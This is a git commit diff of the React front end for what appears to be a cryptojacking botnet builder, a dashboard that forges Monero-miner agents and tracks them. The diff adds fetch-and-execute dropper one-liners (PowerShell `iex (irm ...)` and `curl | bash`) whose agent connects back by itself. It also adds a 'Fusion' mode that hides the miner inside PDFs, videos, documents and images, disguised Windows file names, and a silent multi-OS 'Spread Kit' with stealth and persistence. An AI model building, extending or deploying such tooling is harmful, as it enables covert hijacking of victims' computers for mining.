Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
import { useState, useEffect, useMemo, useCallback } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, HashrateSample } from '../types';
|
||||
import type { Agent, HashrateSample, ServerInfo } from '../types';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
@@ -15,13 +15,68 @@ import {
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
|
||||
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
|
||||
const [copied, setCopied] = useState<string | null>(null);
|
||||
|
||||
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
|
||||
|
||||
const copy = (text: string, key: string) => {
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
setCopied(key);
|
||||
setTimeout(() => setCopied(null), 2000);
|
||||
});
|
||||
};
|
||||
|
||||
const ps1 = `iex (irm '${base}/install.ps1')`;
|
||||
const sh = `curl -sL ${base}/install.sh | bash`;
|
||||
const dlWin = `${base}/get?os=windows`;
|
||||
const dlLin = `${base}/get?os=linux`;
|
||||
const dlMac = `${base}/get?os=darwin`;
|
||||
|
||||
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
|
||||
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
|
||||
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
|
||||
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
|
||||
{copied === id ? '✓ Copied' : 'Copy'}
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
|
||||
<span style={{ fontSize: '1.2rem' }}>⚡</span>
|
||||
<div>
|
||||
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Run any of these commands on a remote machine — the agent downloads itself and connects back automatically.
|
||||
No files to transfer manually.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div style={{ marginBottom: '0.75rem' }}>
|
||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install & run (auto-launches)</div>
|
||||
<Row label="Windows" cmd={ps1} id="ps1" />
|
||||
<Row label="Linux/Mac" cmd={sh} id="sh" />
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
|
||||
<Row label="Windows" cmd={dlWin} id="dlw" />
|
||||
<Row label="Linux" cmd={dlLin} id="dll" />
|
||||
<Row label="macOS" cmd={dlMac} id="dlm" />
|
||||
</div>
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
export default function AgentsPage() {
|
||||
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
|
||||
const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||||
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||||
@@ -30,6 +85,7 @@ export default function AgentsPage() {
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [loadError, setLoadError] = useState('');
|
||||
const [logContent, setLogContent] = useState('');
|
||||
const [logLoading, setLogLoading] = useState(false);
|
||||
@@ -43,6 +99,7 @@ export default function AgentsPage() {
|
||||
.then(setAgents)
|
||||
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents'))
|
||||
.finally(() => setLoading(false));
|
||||
api.getServerInfo().then(setServerInfo).catch(() => {});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -173,6 +230,8 @@ export default function AgentsPage() {
|
||||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||||
</header>
|
||||
|
||||
<QuickDeployPanel serverInfo={serverInfo} />
|
||||
|
||||
{loadError && (
|
||||
<NeonCard accent="amber" className="empty-state">
|
||||
<p>{loadError}</p>
|
||||
@@ -187,7 +246,7 @@ export default function AgentsPage() {
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<div className="empty-icon">⚙</div>
|
||||
<h3>No agents registered</h3>
|
||||
<p>Deploy a miner to a Windows machine and it will appear here automatically.</p>
|
||||
<p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p>
|
||||
</NeonCard>
|
||||
) : (
|
||||
<div className="agents-layout">
|
||||
@@ -212,7 +271,7 @@ export default function AgentsPage() {
|
||||
onCheck={(on) => toggleSelect(agent.id, on)}
|
||||
onSelect={() => void selectAgent(agent)}
|
||||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||||
latestWsMessage={latestMessage}
|
||||
commandResults={commandResults}
|
||||
/>
|
||||
))}
|
||||
{filteredAgents.length === 0 && (
|
||||
@@ -272,6 +331,15 @@ export default function AgentsPage() {
|
||||
<span className="detail-label">Version</span>
|
||||
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
|
||||
</div>
|
||||
{(selectedAgent.platform || selectedAgent.os_version) && (
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Platform</span>
|
||||
<span className="detail-value">
|
||||
{[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')}
|
||||
{selectedAgent.os_version ? ` — ${selectedAgent.os_version}` : ''}
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">CPU Cores</span>
|
||||
<span className="detail-value">{selectedAgent.cpu_cores}</span>
|
||||
@@ -350,7 +418,7 @@ export default function AgentsPage() {
|
||||
<AgentRemoteActions
|
||||
agent={selectedAgent}
|
||||
online={selectedAgent.status === 'online'}
|
||||
latestWsMessage={latestMessage}
|
||||
commandResults={commandResults}
|
||||
onCommandSent={(action: string) => {
|
||||
if (action === 'get_log') refreshLog(true);
|
||||
}}
|
||||
|
||||
@@ -10,6 +10,14 @@ import { lanEndpointCandidates } from '../help/endpointHelpers';
|
||||
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
||||
import { previewInstallPath } from '../help/installPreview';
|
||||
import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules';
|
||||
import {
|
||||
applyDeliverableType,
|
||||
deriveDeliverableType,
|
||||
deliverableSummary,
|
||||
installBaseOptionsForTarget,
|
||||
normalizeForgeForm,
|
||||
type ForgeDeliverable,
|
||||
} from '../help/forgeFormNormalize';
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||
@@ -17,12 +25,14 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import { downloadApiFile } from '../api/download';
|
||||
import {
|
||||
isFusionVideoFile,
|
||||
fusionPayloadKind,
|
||||
fusionTitleFromFilename,
|
||||
fusionFileTypeLabel,
|
||||
disguisedWindowsRunnerName,
|
||||
disguisedDisplayName,
|
||||
defaultRunnerName,
|
||||
defaultEmbeddedName,
|
||||
} from '../help/fusionMedia';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import './Pages.css';
|
||||
|
||||
function formatBytes(n: number): string {
|
||||
@@ -72,6 +82,8 @@ export default function BuilderPage() {
|
||||
} | null>(null);
|
||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||
// Set to true to request cancellation between batch iterations
|
||||
const batchCancelRef = useRef(false);
|
||||
const [estimateError, setEstimateError] = useState('');
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [listenPort, setListenPort] = useState(8989);
|
||||
@@ -206,6 +218,16 @@ export default function BuilderPage() {
|
||||
setForm(merged);
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
|
||||
// Fusion re-forge requires the payload file — prep files are not kept on the
|
||||
// server after a build completes (M15). Prompt the user to re-upload first.
|
||||
if (merged.fusion_enabled && !fusionPrepFile) {
|
||||
setError(
|
||||
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
const checks = runForgePreflight(merged, !!fusionPrepFile);
|
||||
if (preflightHasErrors(checks)) {
|
||||
setError('Re-forge preflight failed — adjust settings and forge manually.');
|
||||
@@ -281,25 +303,24 @@ export default function BuilderPage() {
|
||||
if (!f) return;
|
||||
setForm((prev) => {
|
||||
if (!prev) return prev;
|
||||
const video = isFusionVideoFile(f);
|
||||
const mode = prev.fusion_media_mode || 'paired';
|
||||
return {
|
||||
...prev,
|
||||
fusion_payload_kind: video ? 'video' : 'exe',
|
||||
fusion_payload_kind: fusionPayloadKind(f),
|
||||
fusion_media_base_name: f.name,
|
||||
fusion_output_name: video
|
||||
? mode === 'embedded'
|
||||
? defaultEmbeddedName(f.name)
|
||||
: defaultRunnerName(f.name)
|
||||
: f.name,
|
||||
fusion_output_name: defaultRunnerName(f.name),
|
||||
};
|
||||
});
|
||||
};
|
||||
|
||||
const handleBatchForgeMovies = async () => {
|
||||
const handleBatchCancel = () => {
|
||||
batchCancelRef.current = true;
|
||||
};
|
||||
|
||||
const handleBatchForge = async () => {
|
||||
if (!form || fusionBatchFiles.length === 0) return;
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
batchCancelRef.current = false;
|
||||
setBuilding(true);
|
||||
const total = fusionBatchFiles.length;
|
||||
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
|
||||
@@ -307,6 +328,12 @@ export default function BuilderPage() {
|
||||
let ok = 0;
|
||||
try {
|
||||
for (let i = 0; i < total; i++) {
|
||||
if (batchCancelRef.current) {
|
||||
setBatchJob((j) => (j ? { ...j, phase: 'cancelled', fileName: '' } : j));
|
||||
setBlueprintMsg(`Batch forge cancelled after ${ok} of ${total} file(s).`);
|
||||
setTimeout(() => setBlueprintMsg(''), 5000);
|
||||
break;
|
||||
}
|
||||
const file = fusionBatchFiles[i];
|
||||
const title = fusionTitleFromFilename(file.name);
|
||||
const pct = Math.round((i / total) * 100);
|
||||
@@ -324,17 +351,17 @@ export default function BuilderPage() {
|
||||
}
|
||||
: j
|
||||
);
|
||||
const mode = form.fusion_media_mode || 'paired';
|
||||
const req: BuildRequest = {
|
||||
const req = normalizeForgeForm({
|
||||
...form,
|
||||
target_os: 'universal',
|
||||
fusion_enabled: true,
|
||||
fusion_payload_kind: 'video',
|
||||
spread_kit: false,
|
||||
fusion_payload_kind: fusionPayloadKind(file),
|
||||
fusion_media_base_name: file.name,
|
||||
fusion_export_subdir: title,
|
||||
fusion_output_name:
|
||||
mode === 'embedded' ? defaultEmbeddedName(file.name) : defaultRunnerName(file.name),
|
||||
fusion_output_name: defaultRunnerName(file.name),
|
||||
worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
|
||||
};
|
||||
});
|
||||
const checks = runForgePreflight(req, true);
|
||||
if (preflightHasErrors(checks)) {
|
||||
throw new Error(`Preflight failed for ${file.name}`);
|
||||
@@ -374,7 +401,7 @@ export default function BuilderPage() {
|
||||
);
|
||||
}
|
||||
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
|
||||
setBlueprintMsg(`✅ Batch forged ${ok} movie(s) — one ZIP per title in fusion-deliverables/`);
|
||||
setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
|
||||
setTimeout(() => setBlueprintMsg(''), 6000);
|
||||
setFusionBatchFiles([]);
|
||||
} catch (err: unknown) {
|
||||
@@ -403,7 +430,12 @@ export default function BuilderPage() {
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
|
||||
const checks = runForgePreflight(form, !!fusionPrepFile);
|
||||
const normalized = normalizeForgeForm(form);
|
||||
if (normalized !== form) {
|
||||
setForm(normalized);
|
||||
}
|
||||
|
||||
const checks = runForgePreflight(normalized, !!fusionPrepFile);
|
||||
if (preflightHasErrors(checks)) {
|
||||
setError('Preflight failed — fix errors in the checklist below before forging.');
|
||||
return;
|
||||
@@ -411,7 +443,7 @@ export default function BuilderPage() {
|
||||
|
||||
setBuilding(true);
|
||||
try {
|
||||
const result = await api.buildAgent(form, fusionPrepFile);
|
||||
const result = await api.buildAgent(normalized, fusionPrepFile);
|
||||
if (!result.success) {
|
||||
throw new Error(result.error || 'Build failed');
|
||||
}
|
||||
@@ -433,7 +465,9 @@ export default function BuilderPage() {
|
||||
]);
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
const base = defaultsFromConfig(config, info, builds);
|
||||
setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }));
|
||||
const kind = form ? deriveDeliverableType(form) : 'single';
|
||||
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates });
|
||||
setForm(applyDeliverableType(merged, kind));
|
||||
setBlueprintMsg('✅ Recommended defaults applied');
|
||||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||
} catch (err: unknown) {
|
||||
@@ -445,6 +479,18 @@ export default function BuilderPage() {
|
||||
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
|
||||
};
|
||||
|
||||
const setDeliverableType = (type: ForgeDeliverable) => {
|
||||
setForm((prev) => (prev ? applyDeliverableType(prev, type) : prev));
|
||||
if (type !== 'fusion') {
|
||||
setFusionPrepFile(null);
|
||||
setFusionBatchFiles([]);
|
||||
setFusionEstimate(null);
|
||||
}
|
||||
};
|
||||
|
||||
const deliverableType = form ? deriveDeliverableType(form) : 'single';
|
||||
const installBaseOptions = installBaseOptionsForTarget(form?.target_os);
|
||||
|
||||
const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]);
|
||||
const liveNotices = useMemo(
|
||||
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
|
||||
@@ -456,7 +502,7 @@ export default function BuilderPage() {
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
const fusionIsVideo = isFusionVideoFile(fusionPrepFile);
|
||||
const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe';
|
||||
const fusionMediaMode = form?.fusion_media_mode || 'paired';
|
||||
|
||||
useEffect(() => {
|
||||
@@ -517,6 +563,7 @@ export default function BuilderPage() {
|
||||
install_relative_path: form.install_relative_path,
|
||||
worker_name: form.worker_name,
|
||||
process_name: form.process_name,
|
||||
target_os: form.target_os,
|
||||
});
|
||||
|
||||
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
|
||||
@@ -688,8 +735,8 @@ export default function BuilderPage() {
|
||||
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
|
||||
<p className="form-description">
|
||||
{simpleMode
|
||||
? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.'
|
||||
: 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'}
|
||||
? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.'
|
||||
: 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'}
|
||||
</p>
|
||||
|
||||
<form onSubmit={handleSubmit}>
|
||||
@@ -707,8 +754,9 @@ export default function BuilderPage() {
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="office-pc-1"
|
||||
placeholder="e.g. office-pc-1 (letters, numbers, dash, dot)"
|
||||
value={form.worker_name}
|
||||
maxLength={48}
|
||||
onChange={(e) => updateField('worker_name', e.target.value)}
|
||||
required
|
||||
/>
|
||||
@@ -728,7 +776,7 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
<input
|
||||
type="url"
|
||||
className="input mono endpoint-input"
|
||||
className={`input mono endpoint-input${form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) ? ' input-warn' : ''}`}
|
||||
placeholder={`http://192.168.1.10:${listenPort}`}
|
||||
value={form.server_url}
|
||||
onChange={(e) => updateField('server_url', e.target.value)}
|
||||
@@ -736,6 +784,11 @@ export default function BuilderPage() {
|
||||
autoComplete="off"
|
||||
spellCheck={false}
|
||||
/>
|
||||
{form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) && (
|
||||
<p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>
|
||||
⚠ localhost/127.0.0.1 baked into the worker will fail on other machines — use your LAN IP chip below.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="server_url" />
|
||||
<p className="form-hint endpoint-hint">
|
||||
Baked into each installer. Change here when this host's LAN IP changes — you do not need to update Calibrate first.
|
||||
@@ -763,14 +816,118 @@ export default function BuilderPage() {
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
|
||||
placeholder="4... or 8... (95–106 characters)"
|
||||
value={form.wallet}
|
||||
onChange={(e) => updateField('wallet', e.target.value)}
|
||||
required
|
||||
spellCheck={false}
|
||||
/>
|
||||
{form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && (
|
||||
<p className="form-hint" style={{ color: 'var(--neon-amber, #ffa)' }}>
|
||||
Wallet address looks short — Monero addresses are 95–106 characters starting with 4 or 8.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="wallet" />
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Deliverable"
|
||||
badge="baked"
|
||||
description="Pick what you are shipping. Incompatible options are locked automatically."
|
||||
/>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
{deliverableSummary(deliverableType)}
|
||||
</p>
|
||||
<div className="forge-rules-grid" style={{ marginBottom: '0.75rem' }}>
|
||||
<button
|
||||
type="button"
|
||||
className={`forge-rule-card deliverable-card ${deliverableType === 'single' ? 'deliverable-active' : ''}`}
|
||||
onClick={() => setDeliverableType('single')}
|
||||
>
|
||||
<strong>Single platform worker</strong>
|
||||
<span className="form-hint">One .exe or binary for Windows, Linux, or macOS.</span>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`forge-rule-card deliverable-card ${deliverableType === 'spread_kit' ? 'deliverable-active' : ''}`}
|
||||
onClick={() => setDeliverableType('spread_kit')}
|
||||
>
|
||||
<strong>Universal Spread Kit</strong>
|
||||
<span className="form-hint">Silent ZIP — Deploy.bat / deploy.sh installs on any OS.</span>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`forge-rule-card deliverable-card ${deliverableType === 'fusion' ? 'deliverable-active' : ''}`}
|
||||
onClick={() => setDeliverableType('fusion')}
|
||||
>
|
||||
<strong>Fusion</strong>
|
||||
<span className="form-hint">Hide miner in any file — PDF, video, doc, image. One universal ZIP works on all OSes.</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Platform"
|
||||
badge="baked"
|
||||
description={
|
||||
deliverableType === 'single'
|
||||
? 'Which OS this single installer targets.'
|
||||
: 'Locked to Universal — all platforms are included in the ZIP.'
|
||||
}
|
||||
/>
|
||||
<div className="form-row">
|
||||
<div className={`form-group ${fieldMeta.target_os?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Target OS <HelpTip field="target_os" /></label>
|
||||
{fieldMeta.target_os?.disabled ? (
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
disabled
|
||||
value="Universal (all platforms)"
|
||||
readOnly
|
||||
/>
|
||||
) : (
|
||||
<select
|
||||
className="select"
|
||||
value={form.target_os || 'windows'}
|
||||
onChange={(e) => updateField('target_os', e.target.value)}
|
||||
>
|
||||
<option value="windows">Windows</option>
|
||||
<option value="linux">Linux</option>
|
||||
<option value="darwin">macOS</option>
|
||||
</select>
|
||||
)}
|
||||
<FieldHint field="target_os" />
|
||||
<ForgeLockedHint meta={fieldMeta.target_os} />
|
||||
</div>
|
||||
{(form.target_os === 'linux' || form.target_os === 'darwin') && (
|
||||
<div className={`form-group ${fieldMeta.target_arch?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Architecture <HelpTip field="target_arch" /></label>
|
||||
<select
|
||||
className="select"
|
||||
disabled={fieldMeta.target_arch?.disabled}
|
||||
value={form.target_arch || (form.target_os === 'darwin' ? 'arm64' : 'amd64')}
|
||||
onChange={(e) => updateField('target_arch', e.target.value)}
|
||||
>
|
||||
<option value="amd64">amd64 (Intel/AMD)</option>
|
||||
<option value="arm64">arm64 (Apple Silicon / ARM)</option>
|
||||
</select>
|
||||
<FieldHint field="target_arch" />
|
||||
<ForgeLockedHint meta={fieldMeta.target_arch} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
{deliverableType === 'spread_kit' && (
|
||||
<p className="form-hint">
|
||||
Spread Kit preset: idle mining, stealth, persistence, self-healing, and remote aggressive ops enabled.
|
||||
Upload nothing — forge produces the deploy ZIP.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
|
||||
<div className="label-row">
|
||||
@@ -820,7 +977,8 @@ export default function BuilderPage() {
|
||||
min={1}
|
||||
max={65535}
|
||||
value={form.pool_port}
|
||||
onChange={(e) => updateField('pool_port', parseInt(e.target.value) || 3333)}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 65535) updateField('pool_port', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1 || v > 65535) updateField('pool_port', 3333); }}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end', paddingBottom: '8px' }}>
|
||||
@@ -840,9 +998,11 @@ export default function BuilderPage() {
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="x"
|
||||
value={form.pool_pass}
|
||||
onChange={(e) => updateField('pool_pass', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Standard Monero pools use <code>x</code> — leave blank to use that default.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -865,7 +1025,8 @@ export default function BuilderPage() {
|
||||
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
|
||||
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
|
||||
disabled={fieldMeta.thread_percent?.disabled}
|
||||
onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v)) updateField('thread_percent', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('thread_percent', 75); else if (v > 100) updateField('thread_percent', 100); }} />
|
||||
<ForgeLockedHint meta={fieldMeta.thread_percent} />
|
||||
</div>
|
||||
</div>
|
||||
@@ -874,7 +1035,8 @@ export default function BuilderPage() {
|
||||
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
|
||||
<input type="number" className="input" min={1} max={128} value={form.threads}
|
||||
disabled={fieldMeta.threads?.disabled}
|
||||
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('threads', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('threads', 4); }} />
|
||||
<ForgeLockedHint meta={fieldMeta.threads} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
@@ -892,19 +1054,22 @@ export default function BuilderPage() {
|
||||
<div className="form-group">
|
||||
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
|
||||
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
|
||||
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 80); }} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
|
||||
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
|
||||
onChange={(e) => updateField('max_memory_percent', parseInt(e.target.value) || 70)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 70); }} />
|
||||
<FieldHint field="max_memory_percent" />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
|
||||
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
|
||||
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)} />
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 1024); }} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||||
@@ -929,7 +1094,8 @@ export default function BuilderPage() {
|
||||
max={100}
|
||||
disabled={fieldMeta.idle_threshold_pct?.disabled}
|
||||
value={form.idle_threshold_pct}
|
||||
onChange={(e) => updateField('idle_threshold_pct', parseInt(e.target.value) || 20)}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('idle_threshold_pct', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_threshold_pct', 20); }}
|
||||
/>
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
|
||||
@@ -940,7 +1106,8 @@ export default function BuilderPage() {
|
||||
min={1}
|
||||
disabled={fieldMeta.idle_duration_minutes?.disabled}
|
||||
value={form.idle_duration_minutes}
|
||||
onChange={(e) => updateField('idle_duration_minutes', parseInt(e.target.value) || 5)}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('idle_duration_minutes', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_duration_minutes', 5); }}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
@@ -981,19 +1148,26 @@ export default function BuilderPage() {
|
||||
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
|
||||
<select className="select" value={form.install_base}
|
||||
onChange={(e) => updateField('install_base', e.target.value)}>
|
||||
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
|
||||
<option value="appdata">Roaming App Data (%APPDATA%)</option>
|
||||
<option value="programdata">Program Data (%ProgramData%)</option>
|
||||
<option value="userprofile">User Profile (%USERPROFILE%)</option>
|
||||
<option value="temp">Temp Folder (%TEMP%)</option>
|
||||
